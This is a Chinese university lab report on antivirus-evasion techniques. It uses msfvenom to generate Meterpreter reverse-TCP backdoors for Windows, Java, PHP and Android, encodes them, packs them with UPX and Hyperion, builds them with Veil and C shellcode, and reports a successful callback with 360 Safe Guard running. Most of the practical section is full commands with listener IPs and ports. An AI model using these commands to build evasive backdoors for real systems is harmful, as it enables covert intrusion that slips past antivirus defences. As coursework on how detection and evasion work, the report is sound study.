20174311唐嘉 Exp3 免杀原理与实践

  一、实验要求

  (一)实验内容

  1.实践各种免杀技术

  • 正确使用msf编码器

  • msfvenom生成如jar之类的其他文件

  • veil

  • 加壳工具

  • 使用C + shellcode编程

  • 使用其他课堂未介绍方法 

  2.通过组合应用各种技术实现恶意代码免杀

   3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  (二)实验原理

  • 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术

  • 免杀的基本方式有改变特征码和改变行为

  •  恶意软件检测机制有基于特征码检测、启发式恶意软件检测和基于行为的恶意软件检测

   二、实验内容

     1.1 方法

    1.1.1 正确使用msf编码器

     检测网站VirSCANVirus Total(是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。)

    将实验2生成的后门程序4311_backdoor.exe分别上传至两个网站进行筛查,结果如下:

    可以看出,上次实验的后门程序很容易就被杀软检测到了。

    用msf编码器对后门程序进行编码

    在kali中进入/usr/share/metasploit-framework/modules/payloads/stagers/windows文件夹,用ls查看Windows平台下的连接方式。

    进入/usr/share/metasploit-framework/modules/encoders/x86文件夹,用ls查看x86的编码方式:

        这里选用TCP连接方式和shikata_ga_nai 编码方式,输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b 'x00' LHOST=192.168.80.135 LPORT=4311 -f exe > tjhhh.exe

 

     分别在两个网站中扫描,结果如下:

     额哦,放到VirSCAN上检测的时候出了系统问题,但并不影响我们判断。

     由此可见,多次编码对于免杀没有什么实质性的效果。

    msfvenom生成如jar之类的其他文件

  生成Java后门程序

    在Kali中,使用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.135 lport=5227 x> 4311tj_backdoor_java.jar,生成jar文件

 

    上传至平台扫描:(我家网慢,而且VirSCAN这个网站我登上之后相当卡。。所以说这个网站在我电脑上时好时坏的,所以说这个网站上的检测很多都是我在写博客的时候或者网好一点的时候检测的,时间可能没有那么统一。)

    可以明显看出检测的几率下降了一些。

        生成PHP后门程序

   使用msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.135 lport=4311 x> 4311tj_backdoor.php,生成php文件。

 

    放到网站上进行检测:

    可以看到这个检测率就比较低了。

         生成Android后门程序

    在Kali中,使用msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk,生成apk文件(安装包形式)

 

    放到平台上去检测看看。

 

    可以看出这个检测还是可以的,但还是被被提醒为病毒文件。

    1.1.3 veil

    安装过程可是个大老难的问题(电脑慢的让我难受的一批),我是用了很多方法,然后看到了一篇博客才成功的,具体的过程在这里我就不过多赘述了,当然这里我安装了两遍(一遍的时间就好久。。。),第一遍它提示我要升级一些安装包,就按照它给你的提示重新升级一遍再安装就好了(我也不知道还有什么好方法喽)。

    来张成功的截图:

     输入use evasion进入Veil-Evasion:

    输入use c/meterpreter/rev_tcp.py进入配置界面:

 

        设置反弹连接IP,输入set LHOST 192.168.80.135

   设置端口:set LPORT 4311

   输入generate生成后门程序文件,而后输入其名字,我这里是:veil_c_4311

       根据它的提示可以找到文件所在的位置,然后复制到主机上放到网站上进行检测:

 

     可以看出这个容易被检测出。

     加壳工具

       1.压缩壳UPX

     使用命令upx 4311.exe -o 4311_upxed.exe

 

         然后放到网站上检测一下:

     啊哦,已经报毒了,估计检测率也低不到哪里去。

 

     果不其然,病毒文件基本被敲定了。

     2.加密壳Hyperion

        hyperion.exe这个文件的寻找也是费了一番功夫,用其他人的方法总是弄不出来,最后用了奚晨妍同学的办法才得以成功。

     既然在这里花了不少时间,还是详细说一说解决办法。

     安装mingw-w64:apt-get install mingw-w64

     获取zip文件:下载(具体的可以参考她的博客)

     解压缩文件:unzip Hyperion-2.2.zip

    这是会发现找不到hyperion.exe这个文件,这是需要改一个文件的内容,将Makefile文件中第一行改为CC =i686-w64-mingw32-gcc。改完之后敲一下make,然后就可以看到目标文件了。

     然后把之前要加壳的文件也放到这个文件夹里来,输入wine hyperion.exe -v 4311_upxed.exe 4311_upxed_Hyperion.exe对文件加上加密壳。

     之后就把该文件放到网站上检测:

 

         1.1.5 使用C + shellcode编程

   输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.135 LPORT=4311 -f c,得到一段shellcode编码。

     用touch指令创建一个c文件,vim打开编辑,输入这段代码:

 

      使用 i686-w64-mingw32-g++ 4311.c -o 4311.exe指令将c文件转为exe文件。

     放到网站上检测一下:

 

    1.1.6 使用其他课堂未介绍方法

     使用windows/window_defender_exe模块

     启动msfconsole

     使用show evasion查看evasion

    选择windows/windows_defender_exe这个模块,指令为use windows/windows_defender_exe。

    使用show options指令查看要配置的参数。   

 

     就一个文件名参数可以配置,set FILENAME bbskali.exe。

     生成shell:

     set payload windows/meterpreter/reverse_tcp
     set LHOST 192.168.0.93
     set LPORT 4444
     exploit

    在生成的目录下可以找到相应的文件,然后放到网站上进行检测。

 

         1.2 通过组合应用各种技术实现恶意代码免杀

    由于刚才的bbskali.exe没有实现免杀,那就用hyperion来给它加个壳试试。也是把bbskali.exe文件复制到加壳文件夹中,输入指令wine h.exe bbskali.exe bbskali_hyperion.exe进行加壳处理。

    在对应的文件夹中找到该文件,放到网站上检测一下:

 

           额哦,效果并不怎么样,只能说杀软还是强大的。

 

     可以发现回连成功。

           1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

          软件:360安全卫士

    版本是360安全卫士12

     实测结果:

 

      我当时电脑卡了,我就一下子点了好多个,等电脑反应过来了就显示回连成功了。

    三、实验总结

         (一)基础知识问答

          1.杀软是如何检测出恶意代码的?

    (1)基于特征码检测: 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到程序中代码与特征码库中的代码相同或者相似,就会把该程序当作恶意软件。

    (2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

    (3)基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

     2.免杀是做什么?

    我觉得不用理解的太复杂吧,就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀的过程。

          3.免杀的基本方法有哪些?

   其实我觉得总的方法就一个,杀软怎么查杀,免杀反其之就好了。具体的可以分为下面这些:

   (1)改变特征码

  • 只有exe
    • 加壳:压缩壳,加密壳

  • 有shellcode
    • 用encode进行编码

    • 基于payload重新编译生成可执行文件

  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)

   (2)改变行为

  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码。

   (4)开启杀软能绝对防止电脑中恶意代码吗?

    这个很明显不能哈哈哈,杀软与免杀是一个此消彼长、动态发展的过程,因此说不能绝对防止。

   (二)实验心得体会

    这次实验碰到的最大问题就是电脑有点卡,网络也不太好,安装veil的时候花了好长时间,其中就有一次因为中间网络卡顿了一下,导致某些文件下载出了问题,安装完成后不能使用,于是再一次推到重来(下载一次确实挺费劲,唉)。中间还有不少地方出了问题,也是一些奇奇怪怪的问题,有的我关机重启就解决了,我也很疑惑。

    对于这次实验的内容我觉得还是很有意义的,因为之前只知道杀软,对免杀真不是很了解,这次实验通过这么多方法让我对杀软与免杀这个过程有了更为深刻的认识,有了直观的了解,毕竟直接上手实践了,虽说做的时间很长,但感觉还是很有收获的。

原文地址:https://www.cnblogs.com/bestitj/p/12624112.html